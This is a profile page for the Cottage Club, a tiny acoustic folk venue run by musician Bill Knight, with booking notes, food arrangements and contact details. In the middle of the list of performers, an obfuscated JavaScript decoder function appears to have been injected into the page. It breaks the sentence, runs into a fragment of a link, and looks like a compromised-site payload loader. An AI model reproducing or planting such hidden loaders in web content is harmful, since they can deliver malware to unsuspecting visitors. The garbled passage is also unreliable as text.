Profile: The Cottage Club

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cottage club33, 2nd Crescent Fish Hoek
A tiny 25 seater venue, this is in fact the home of Bill Knight, a cult folk musician on the South African scene.  On a fortnightly basis, Bill plays host to many other local musicians including the likes of Tony Cox, Steve Newman, Robin Auld,  function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-hot-water/">Hot Water, Guy Buttery, Luna Paige and Gerald Clark.  The club inspires great loyalty among its patrons, so booking is essential.  Located in a residential area on the picturesque mountain slopes overlooking the Kommetjie valley, the venue is of course restricted to acoustic performances, with artists continuing unplugged after 11pm.  There is a recording studio in the adjacent room of the house and as such a high quality recording of each event is often available to patrons. The venue does not have a bar but patrons are allowed to bring their own alcohol and picnic baskets. Hearty soup and homemade bread are normally available, but must be pre-ordered.

Tel: 021 7855052
Email: billknight@mweb.co.za
Website: billknight.co.za
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The Cottage Club

"Situated in Kommetjie, a dramatically beautiful area where savage terrain cascades into a seething ocean, the Cottage Club is a blend of upmarket bohemia and mellow aestheticism."

Read our review of the Cottage Club here

*The Cottage Club has moved from its venue in Kommetjie to a new venue situated in Fish Hoek.

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